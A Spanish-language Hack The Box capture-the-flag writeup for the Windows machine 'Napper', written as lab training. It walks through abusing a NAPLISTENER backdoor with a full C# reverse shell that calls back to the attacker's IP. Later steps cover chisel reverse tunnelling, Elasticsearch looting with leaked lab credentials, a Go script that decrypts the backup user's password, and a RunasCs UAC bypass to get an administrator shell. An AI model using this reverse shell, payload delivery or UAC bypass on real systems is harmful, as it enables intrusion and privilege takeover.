Table of Contents
Hack The Box: Napper Writeup
Welcome to my detailed writeup of the hard difficulty machine “Napper” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.229.166 --ulimit 5000 -g
210.129.229.166 -> [80,443,7680]
1$ nmap -p80,443,7680 -sCV 10.129.229.166 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 16:48 CEST
3Nmap scan report for 10.129.229.166
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Microsoft IIS httpd 10.0
8|_http-title: Did not follow redirect to https://app.napper.htb
9|_http-server-header: Microsoft-IIS/10.0
10443/tcp open ssl/http Microsoft IIS httpd 10.0
11|_http-generator: Hugo 0.112.3
12|_ssl-date: 2024-08-27T12:48:39+00:00; -1h59m59s from scanner time.
13| tls-alpn:
14|_ http/1.1
15| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
16| Subject Alternative Name: DNS:app.napper.htb
17| Not valid before: 2023-06-07T14:58:55
18|_Not valid after: 2033-06-04T14:58:55
19|_http-server-header: Microsoft-IIS/10.0
20| http-methods:
21|_ Potentially risky methods: TRACE
22|_http-title: Research Blog | Home
237680/tcp filtered pando-pub
24Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
25
26Host script results:
27|_clock-skew: -1h59m59s
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 23.31 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 1500 -n -Pn 10.129.229.166 -oN ../Desktop/napper/scan/allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 16:47 CEST
3Nmap scan report for 10.129.229.166
4Host is up.
5All 1500 scanned ports on 10.129.229.166 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds
HTTPS Enumeration
Ya que el sitio web es HTTPS, vamos a inspeccionar primero el certificado TLS.
1$ openssl s_client -showcerts -connect 10.129.229.166:443
De este análisis encontramos el dominio napper.htb
y los subdominios app.napper.htb
, ca.napper.htb
1$ whatweb https://napper.htb
2https://napper.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.229.166], MetaGenerator[Hugo 0.112.3], Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/javascript,text/x-mathjax-config], Title[Research Blog | Home], X-UA-Compatible[IE=edge]
whatweb
nos reporta que es un blog hecho con Hugo (como este blog que estas leyendo ahora mismo) y que por detrás existe un IIS 10.0.
Information Leakage
Viendo los artículos del blog nos encontramos una credencial de prueba, nos la podemos apuntar por si acaso se le ha olvidado eliminarla.
El caso es que no encontramos ningún sitio para autenticarnos.
Después de fuzzear no encontramos nada.
Buscando subdominios encontramos el subdominio internal.napper.htb
1$ wfuzz --hh=5589 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.
2txt -H 'Host: FUZZ.napper.htb' https://napper.htb
3.....
4000000387: 401 29 L 100 W 1293 Ch "internal"
Nos pide autenticación…
Y con example:ExamplePassword
podemos autenticarnos y vemos un artículo que antes no era visible..
Exploiting NAPLISTENER Backdoor -> Foothold
El artículo habla sobre el malware NAPLISTENER
HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection.
This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It’s worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
El sitio web que esté “backdoorizado” podría ejecutar código .NET base64-encodeado en el endpoint /ews/MsExgHealthCheckd/
por el parámetro sdafwe3rwe23
.
Hay que tener en cuenta que se ejecutará en un proceso distinto y no está asociado al servicio que esté ejecutando el servidor IIS.
Podemos echar un ojo a este artículo de eslatic
No encuentro que la ruta donde está el backdoor exista.
Aunque puede que solo responda cuando un payload sea válido.
Podemos crear un pequeño script en C# para mandarnos un ping a nuestra máquina.
1using System;
2using System.Net.NetworkInformation;
3
4namespace PingTest
5{
6 class Program
7 {
8 static void Main(string[] args)
9 {
10 string ipAddress = "10.10.14.125";
11 Ping pingSender = new Ping();
12 PingReply reply = pingSender.Send(ipAddress);
13 }
14 }
15}
Y compilarlo con mcs
1$ sudo apt install mono-complete
1$ mcs -out:Test.exe Test.cs
2Test.cs(12,23): warning CS0219: The variable `reply' is assigned but its value is never us
3ed
4Compilation succeeded - 1 warning(s)
Lo codificamos en base64
1$ base64 Test.exe > payload.txt
Nos copiamos el binario codificado en la clipboard.
1$ cat payload.txt | xclip -sel clip
Ejecutando el PoC del artículo anterior detectamos que el sitio web https://napper.htb
tiene este backdoor pero no conseguimos ejecución de comandos.
1import requests
2from urllib3.exceptions import InsecureRequestWarning
3requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
4
5hosts = ["app.napper.htb", "internal.napper.htb", "napper.htb"]
6payload = "TVqQAAMAAAAEAAAA[...]"
7form_field = f"sdafwe3rwe23={requests.utils.quote(payload)}"
8
9for h in hosts:
10 url_ssl = f"https://{h}/ews/MsExgHealthCheckd/"
11
12 try:
13 r_ssl = requests.post(url_ssl, data=form_field, verify=False)
14 print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
15 except KeyboardInterrupt:
16 exit()
17 except Exception as e:
18 print(e)
19 pass
1$ python3 poc.py
2/home/pointedsec/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.19) or chardet (5.1.0)/charset_normalizer (2.0.12) doesn't match a supported version!
3 warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
4https://app.napper.htb/ews/MsExgHealthCheckd/ : 404 {'Content-Type': 'text/html', 'Server': 'Microsoft-IIS/10.0', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT', 'Content-Length': '1245'}
5https://internal.napper.htb/ews/MsExgHealthCheckd/ : 401 {'Content-Type': 'text/html', 'Server': 'Microsoft-IIS/10.0', 'WWW-Authenticate': 'Basic realm="internal.napper.htb"', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT', 'Content-Length': '1293'}
6https://napper.htb/ews/MsExgHealthCheckd/ : 200 {'Content-Length': '0', 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0', 'X-Powered-By': 'ASP.NET', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT'}
Podemos ver que napper.htb
devuelve un código 200 OK pero no recibimos ningún Ping.
Después de prueba y error conseguí una consola con esta reverse shell en C#.
1using System;
2using System.Text;
3using System.IO;
4using System.Diagnostics;
5using System.ComponentModel;
6using System.Linq;
7using System.Net;
8using System.Net.Sockets;
9
10
11namespace Rev
12{
13 public class Run
14 {
15 static StreamWriter streamWriter;
16
17 public Run()
18 {
19 using(TcpClient client = new TcpClient("10.10.14.125", 443))
20 {
21 using(Stream stream = client.GetStream())
22 {
23 using(StreamReader rdr = new StreamReader(stream))
24 {
25 streamWriter = new StreamWriter(stream);
26
27 StringBuilder strInput = new StringBuilder();
28
29 Process p = new Process();
30 p.StartInfo.FileName = "cmd.exe";
31 p.StartInfo.CreateNoWindow = true;
32 p.StartInfo.UseShellExecute = false;
33 p.StartInfo.RedirectStandardOutput = true;
34 p.StartInfo.RedirectStandardInput = true;
35 p.StartInfo.RedirectStandardError = true;
36 p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
37 p.Start();
38 p.BeginOutputReadLine();
39
40 while(true)
41 {
42 strInput.Append(rdr.ReadLine());
43 //strInput.Append("\n");
44 p.StandardInput.WriteLine(strInput);
45 strInput.Remove(0, strInput.Length);
46 }
47 }
48 }
49 }
50 }
51
52 private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
53 {
54 StringBuilder strOutput = new StringBuilder();
55
56 if (!String.IsNullOrEmpty(outLine.Data))
57 {
58 try
59 {
60 strOutput.Append(outLine.Data);
61 streamWriter.WriteLine(strOutput);
62 streamWriter.Flush();
63 }
64 catch (Exception err) { }
65 }
66 }
67
68 }
69}
Compilando como librería.
1$ mcs -target:library -out:Rev.dll Rev.cs
2Test.cs(12,23): warning CS0219: The variable `reply' is assigned but its value is never used
3Compilation succeeded - 1 warning(s)
Codificando el base64 y pegando el output al BurpSuite para hacer la solicitud. CTRL + U Para URL encodear.
Y conseguimos acceso.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.229.166] 57159
4Microsoft Windows [Version 10.0.19045.3636]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>
8whoami
Podemos leer la flag de usuario.
1C:\Users\ruben\Desktop>type user.txt
2219f46b8c56553c19...
Privilege Escalation
Por alguna razón los proyectos Hugo sin compilar (código base) están en C:\Temp\www\
Aquí nos encontramos dos directorios, app
e internal
1C:\Temp\www>dir
2 Volume in drive C has no label.
3 Volume Serial Number is CB08-11BF
4 Directory of C:\Temp\www
506/09/2023 12:18 AM <DIR> .
606/09/2023 12:18 AM <DIR> ..
706/09/2023 12:18 AM <DIR> app
806/09/2023 12:18 AM <DIR> internal
9 0 File(s) 0 bytes
10 4 Dir(s) 4,564,426,752 bytes free
1C:\Temp\www\internal\content\posts>dir
2 Volume in drive C has no label.
3 Volume Serial Number is CB08-11BF
4 Directory of C:\Temp\www\internal\content\posts
506/09/2023 12:20 AM <DIR> .
606/09/2023 12:20 AM <DIR> ..
706/09/2023 12:18 AM 1,755 first-re-research.md
806/09/2023 12:28 AM <DIR> internal-laps-alpha
906/09/2023 12:18 AM 493 no-more-laps.md
10 2 File(s) 2,248 bytes
11 3 Dir(s) 4,564,811,776 bytes free
Encontramos un post que no están publicado no-more-laps.md
1C:\Temp\www\internal\content\posts>dir
2 Volume in drive C has no label.
3 Volume Serial Number is CB08-11BF
4 Directory of C:\Temp\www\internal\content\posts
506/09/2023 12:20 AM <DIR> .
606/09/2023 12:20 AM <DIR> ..
706/09/2023 12:18 AM 1,755 first-re-research.md
806/09/2023 12:28 AM <DIR> internal-laps-alpha
906/09/2023 12:18 AM 493 no-more-laps.md
10 2 File(s) 2,248 bytes
11 3 Dir(s) 4,564,811,776 bytes free
Y encontramos un directorio internal-laps-alpha
que contiene un binario a.exe
También contiene un fichero .env
con credenciales para una instancia de ElasticSearch.
1C:\Temp\www\internal\content\posts\internal-laps-alpha>type .env
2ELASTICUSER=user
3ELASTICPASS=DumpPassword\$Here
4ELASTICURI=https://127.0.0.1:9200
Leyendo el post..
1---
2title: "**INTERNAL** Getting rid of LAPS"
3description: Replacing LAPS with out own custom solution
4date: 2023-07-01
5draft: true
6tags: [internal, sysadmin]
7---
8# Intro
9We are getting rid of LAPS in favor of our own custom solution.
10The password for the `backup` user will be stored in the local Elastic DB.
11IT will deploy the decryption client to the admin desktops once it it ready.
12We do expect the development to be ready soon. The Malware RE team will be the first test group.
Reverse Port Forwarding
Vamos a compartirnos el puerto 9200 donde está el ElasticSearch a nuestra máquina con chisel
Con impacket-smbserver
vamos a servidor bajo el recurso smbFolder
el binario chisel.exe
para pasarlo a la máquina víctima
1$ sudo impacket-smbserver -smb2support smbFolder .
1C:\ProgramData>copy \\10.10.14.125\smbFolder\chisel.exe chisel.exe
2 1 file(s) copied.
Ahora en nuestra máquina de atacante nos ponemos en escucha con chisel
para hacer reverse port forwarding por el puerto 1234
1$ /opt/chisel/chisel server --reverse -p 1234
22024/08/27 18:01:42 server: Reverse tunnelling enabled
32024/08/27 18:01:42 server: Fingerprint bEQflnf3gWBSSWLT8J0cMyLsdZwrLMC5qP/FPXdEKAU=
42024/08/27 18:01:42 server: Listening on http://0.0.0.0:1234
Ahora en la máquina víctima nos pasamos con el binario de chisel.exe
el puerto 9200 para que se convierta a nuestro puerto local 9200.
1:\ProgramData>.\chisel.exe client 10.10.14.125:1234 R:9200:127.0.0.1:9200
Y vemos que todo ha salido bien en principio.
1$ /opt/chisel/chisel server --reverse -p 1234
22024/08/27 18:01:42 server: Reverse tunnelling enabled
32024/08/27 18:01:42 server: Fingerprint bEQflnf3gWBSSWLT8J0cMyLsdZwrLMC5qP/FPXdEKAU=
42024/08/27 18:01:42 server: Listening on http://0.0.0.0:1234
52024/08/27 18:03:02 server: session#1: tun: proxy#R:9200=>9200: Listening
Podemos hacer una pequeña prueba y vemos que ahora en local tenemos el puerto 9200 abierto.
1$ nmap -p9200 127.0.0.1
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 18:05 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.000065s latency).
5
6PORT STATE SERVICE
79200/tcp open wap-wsp
8
9Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
Nos pide autenticación.
Vamos a probar con las credenciales que hemos visto antes -> user:DumpPassword$Here
.
Y aquí tenemos el sitio.
Vemos unas credenciales, backupuser:tWUZG4e8QpWIwT8HmKcBiw
Después de probarlas no servían para migrar a la cuenta de usuario backup
que existe en la máquina víctima.
ElasticSearch Enumeration
Gracias a este artículo de HackTricks podemos ayudarnos para enumerar a ver que información interesante conseguimos.
Vemos dos índices, seed
y user-00001
1$ curl 'https://user:DumpPassword$Here@127.0.0.1:9200/_cat/indices?v' -k
2health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
3yellow open seed aqAoiRfuS2O2dAjhrgVs1A 1 1 1 0 3.3kb 3.3kb
4yellow open user-00001 aY6z82tqR6C73F0KczSMWA 1 1 1 0 5.4kb 5.4kb
Enumerando el índice user-00001
1$ curl 'https://user:DumpPassword$Here@127.0.0.1:9200/user-00001/_search?pretty=true' -k
2{
3 "took" : 4,
4 "timed_out" : false,
5 "_shards" : {
6 "total" : 1,
7 "successful" : 1,
8 "skipped" : 0,
9 "failed" : 0
10 },
11 "hits" : {
12 "total" : {
13 "value" : 1,
14 "relation" : "eq"
15 },
16 "max_score" : 1.0,
17 "hits" : [
18 {
19 "_index" : "user-00001",
20 "_id" : "tIAqlJEBwnHgAPO7iyz4",
21 "_score" : 1.0,
22 "_source" : {
23 "blob" : "7GM0hTEK1IcpArBkUmIbZiQvmopg5Truh57rdp1uaS84nBRCWekG402RXYdj4y_YAhpFqIzEix0=",
24 "timestamp" : "2024-08-27T07:08:21.9776954-07:00"
25 }
26 }
27 ]
28 }
29}
Vemos una secuencia en base64 7GM0hTEK1IcpArBkUmIbZiQvmopg5Truh57rdp1uaS84nBRCWekG402RXYdj4y_YAhpFqIzEix0=
Pero se nos representa que no es un input válido.
1$ echo "3IovgiWmZw6P_io9AcyoQ5GMiqJToDb69FeynB4wLSSMNrIPvY_BkGxovMEFi7KoJ6afXC6LjQ0=" | base64 -d
2܊/%gbase64: invalid input
Reversing a.exe
Haciendo uso de la información obtenida en la nota, vamos a decompilar el binario a.exe
a ver si este es el cliente para decompilar la credencial del usuario backup
Nos vamos a copiar a nuestra máquina el binario a.exe
y el fichero .env
1C:\Temp\www\internal\content\posts\internal-laps-alpha>copy .env \\10.10.14.125\smbFolder\.env
2 1 file(s) copied.
3C:\Temp\www\internal\content\posts\internal-laps-alpha>copy a.exe \\10.10.14.125\smbFolder\a.exe
4 1 file(s) copied.
1$ file a.exe
2a.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 13 sections
ghidra
nos reporta que es un binario que ha sido compilado con golang
Detectamos la función main
, por el camino he visto que se utilizan funciones relacionadas con operaciones criptográficas.
Podemos pasarle esta función a ChatGPT y nos responde lo siguiente:
1. Carga de variables de entorno:
- El programa comienza cargando variables de entorno utilizando la función
os.Getenv
. Estas variables pueden estar relacionadas con configuraciones de la aplicación, como direcciones URL, claves de API, o configuraciones de entorno. - Se menciona el uso de una biblioteca llamada
godotenv
(github.com/joho/godotenv.Load
) que se utiliza comúnmente para cargar variables de entorno desde un archivo.env
.
2. Interacción con Elasticsearch:
- La línea
local_270 = github.com/elastic/go-elasticsearch/v8.NewClient();
sugiere que el programa está creando un cliente para interactuar con una instancia de Elasticsearch. Elasticsearch es una base de datos de búsqueda y análisis. - Hay varias llamadas a funciones dentro de la biblioteca de Elasticsearch, lo que indica que el programa podría estar ejecutando operaciones de búsqueda o indexación.
3. Manejo de errores:
- El código verifica constantemente el resultado de las operaciones y, en caso de error, utiliza funciones como
log.Fatal
olog.Fatalf
para registrar el error y posiblemente terminar el programa. log.Fatal
ylog.Fatalf
son funciones comunes en Go para manejar errores fatales que deben finalizar el programa.
4. Manejo de JSON:
- Hay una llamada a
encoding/json.Unmarshal
, lo que indica que el programa está deserializando (decodificando) datos en formato JSON a una estructura Go. - También se menciona
encoding/json.Marshal
, lo que sugiere que hay serialización (codificación) de datos en formato JSON.
5. Generación de claves y encriptación:
- El código menciona
main.genKey
ymain.encrypt
, lo que sugiere que la aplicación está generando una clave y realizando operaciones de cifrado. - Esto podría indicar que el programa maneja datos sensibles y necesita asegurar la información, posiblemente antes de enviarla a Elasticsearch o a otro sistema.
6. Ejecución de comandos del sistema:
- La función
os/exec.Command
yos/exec.(*Cmd).CombinedOutput
se utilizan para ejecutar comandos del sistema operativo. Esto implica que el programa podría estar invocando comandos externos, posiblemente utilizando los datos que ha procesado. - Esto puede ser peligroso si no se maneja correctamente, ya que la ejecución de comandos externos puede ser explotada si se insertan comandos maliciosos.
7. Funcionalidades adicionales:
- Hay varias funciones mencionadas como
main.main.func1
,main.main.func2
,main.main.func3
, lo que sugiere que hay lógica adicional encapsulada en estas funciones. main.randStringList
sugiere la generación de una lista de cadenas aleatorias, lo que puede estar relacionado con la generación de claves, tokens, o identificadores únicos.
Conclusión:
Este código parece ser parte de una aplicación Go que:
- Carga configuraciones desde variables de entorno.
- Interactúa con una instancia de Elasticsearch.
- Maneja datos JSON.
- Realiza operaciones de cifrado y generación de claves.
- Ejecuta comandos del sistema operativo.
Dado el uso de log.Fatal
y el manejo de errores fatales, parece que la aplicación está diseñada para terminar la ejecución si encuentra problemas críticos, como la imposibilidad de cargar configuraciones o conectarse a servicios externos.
Me interesa la parte donde hace la operación criptográfica.
Existe la función main.encrypt
la cual supongo que encriptará el blob guardado en la base de datos. Esto quiero pensar que se hace habitualmente para ir rotando la contraseña del usuario backup
Y luego está la función main.genKey
que es la utilizada para generar la semilla para realizar la encriptación.
También necesito saber cual es el formato de encriptación, esto lo podemos descubrir rápidamente echando un vistazo en main.encrypt
.
Buscando el nombre de la clase, podemos revisar el código fuente.
1func newCFB(block Block, iv []byte, decrypt bool) Stream {
2 blockSize := block.BlockSize()
3 if len(iv) != blockSize {
4 // stack trace will indicate whether it was de or encryption
5 panic("cipher.newCFB: IV length must equal block size")
6 }
7 x := &cfb{
8 b: block,
9 out: make([]byte, blockSize),
10 next: make([]byte, blockSize),
11 outUsed: blockSize,
12 decrypt: decrypt,
13 }
14 copy(x.next, iv)
15
16 return x
17}
El primer parámetro es el bloque a encriptar, el segundo parámetro el IV (Vector de Inicialización) y el tercer parámetro si está encriptado o desencriptando.
Podemos detectar que probablemente se esté utilizando AES - modo CFB.
Entonces para poder desencriptar la contraseña, necesito conseguir la seed
del ElasticSearch junto a la contraseña encriptada,
Una vez tengamos esto, podemos fácilmente desencriptar el bloque de datos utilizando la seed
para generar la clave de encriptación.
Con ayuda de ChatGPT intenté generar un script para desencriptar el blob pero fallé.
Así que probé a hacerlo en el lenguaje nativo del binario, Go.
Como no tengo ni idea de Go he necesitado mucha ayuda de ChatGPT.
Después de prueba y error un buen rato y pasarle la función main.genKey
decompilada en ghidra y añadir la funcionalidad para conseguir la seed
y el blob
del Elastic, este es el script final.
1package main
2
3import (
4 "bytes"
5 "strings"
6 "os/exec"
7 "strconv"
8 "crypto/aes"
9 "crypto/cipher"
10 "encoding/base64"
11 "fmt"
12 "math/rand"
13)
14
15// Función para conseguir la seed y el blob en base al script en python
16func getSeedAndBlob() (int64, string, error) {
17 cmd := exec.Command("python3", "getData.py")
18 var out bytes.Buffer
19 cmd.Stdout = &out
20 err := cmd.Run()
21 if err != nil {
22 return 0, "", err
23 }
24
25 output := out.String()
26 parts := strings.Split(strings.TrimSpace(output), "|")
27 if len(parts) != 2 {
28 return 0, "", fmt.Errorf("unexpected output format")
29 }
30
31 seed, err := strconv.ParseInt(parts[0], 10, 64)
32 if err != nil {
33 return 0, "", err
34 }
35
36 blob := parts[1]
37 return seed, blob, nil
38}
39
40// genKey genera una clave de 16 bytes basada en una semilla.
41func genKey(seed int64) ([]byte, error) {
42 rand.Seed(seed)
43 key := make([]byte, 16)
44 for i := 0; i < 16; i++ {
45 key[i] = byte(rand.Intn(0xfe) + 1)
46 }
47 return key, nil
48}
49
50// decrypt desencripta el ciphertext base64 usando la clave generada.
51func decrypt(seed int64, ciphertext string) (string, error) {
52 key, err := genKey(seed)
53 if err != nil {
54 return "", err
55 }
56
57 // Decodifica el ciphertext base64
58 decodedCiphertext, err := base64.URLEncoding.DecodeString(ciphertext)
59 if err != nil {
60 return "", err
61 }
62
63 // Verifica que el ciphertext tenga al menos el tamaño del bloque AES
64 if len(decodedCiphertext) < aes.BlockSize {
65 return "", fmt.Errorf("ciphertext is too short")
66 }
67
68 // Extrae el IV del ciphertext
69 iv := decodedCiphertext[:aes.BlockSize]
70 ciphertextBytes := decodedCiphertext[aes.BlockSize:]
71
72 // Crea un nuevo bloque de cifrado AES en modo CFB
73 block, err := aes.NewCipher(key)
74 if err != nil {
75 return "", err
76 }
77 stream := cipher.NewCFBDecrypter(block, iv)
78
79 // Desencripta el ciphertext
80 plaintext := make([]byte, len(ciphertextBytes))
81 stream.XORKeyStream(plaintext, ciphertextBytes)
82
83 return string(plaintext), nil
84}
85
86func main() {
87 seed,blob,err := getSeedAndBlob()
88 if err != nil {
89 fmt.Println("Error: ", err)
90 return
91 }
92 fmt.Println("Seed: ", seed)
93 fmt.Println("Blob: ", blob)
94 plaintext, err := decrypt(seed, blob)
95 if err != nil {
96 fmt.Println("Decryption error:", err)
97 return
98 }
99
100 fmt.Println("Decrypted plaintext:", plaintext)
101}
Este script utiliza otro script en python llamado getData.py
que simplemente hace una petición para conseguir el valor de seed
y blob
utilizando las credenciales anteriormente conseguidas.
1# getData.py
2import requests
3import urllib3
4urllib3.disable_warnings()
5
6URL = "https://127.0.0.1:9200/_search?pretty=true"
7user = "user"
8pwd = "DumpPassword$Here"
9
10r = requests.get(URL, auth=(user, pwd), verify=False)
11json_response = r.json()
12
13seed_value = json_response['hits']['hits'][0]['_source']['seed']
14blob_value = json_response['hits']['hits'][1]['_source']['blob']
15
16print(f"{seed_value}|{blob_value}")
Al ejecutar el script…
1$ go run pass.go
2Seed: 41025560
3Blob: cMhkWTlT3MddLGL7ZzdusdiuHtKDKZwWmw4idmKoehp6mI7_L2PZ_MLAwN1JgW54jhEesmZlNdM=
4Decrypted plaintext: fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq
En principio la credencial del usuario backup
es fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq
¡Y conseguimos ejecutar comandos como backup
!
Eso fue bastante complicado…
1C:\ProgramData>.\RunasCs.exe backup fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq "cmd /c whoami"
2[*] Warning: The logon for user 'backup' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
3napper\backup
Ahora nos podemos mandar una revshell como este usuario.
El propio RunasCs.exe
nos está avisando de que usemos la flag –bypass-uac y –logon-type 8 para conseguir un token mas privilegiado para el proceso
1C:\ProgramData>.\RunasCs.exe backup qGTwMxgZpboSlSJiYGqfSdBXmgtaVRAGWIsPdfVb cmd.exe -r 10.10.14.125:443 --bypass-uac --logon-type 8
2[+] Running in session 0 with process function CreateProcessWithLogonW()
3[+] Using Station\Desktop: Service-0x0-42cb7$\Default
4[+] Async process 'C:\Windows\system32\cmd.exe' with pid 4196 created in background.
Si estamos en escucha con netcat
por el puerto 443.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.229.166] 57370
4Microsoft Windows [Version 10.0.19045.3636]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>whoami
8whoami
9napper\backup
Podemos comprobar que pertenecemos al grupo de Administrators
1C:\Users\Administrator\Desktop>net user backup
2net user backup
3User name backup
4Full Name backup
5Comment
6User's comment
7Country/region code 000 (System Default)
8Account active Yes
9Account expires Never
10
11Password last set 8/27/2024 8:43:22 AM
12Password expires Never
13Password changeable 8/27/2024 8:43:22 AM
14Password required Yes
15User may change password Yes
16
17Workstations allowed All
18Logon script
19User profile
20Home directory
21Last logon 8/27/2024 8:45:05 AM
22
23Logon hours allowed All
24
25Local Group Memberships *Administrators
26Global Group memberships *None
27The command completed successfully.
Por lo cual nos hemos convertido en administradores del sistema y podemos leer la flag de root
.
1C:\Users\Administrator\Desktop>type root.txt
2type root.txt
3fc9a5f7c77d0a1...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Napper #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #HTTPS Enumeration #SSL Certificate Inspection #Information Leakage #NAPLISTENER #Rerverse Port Forwarding #ElasticDB Enumeration #Reversing Engineering #Reversing #GHidra #Go Scripting #Python Scripting #Scripting #Decrypting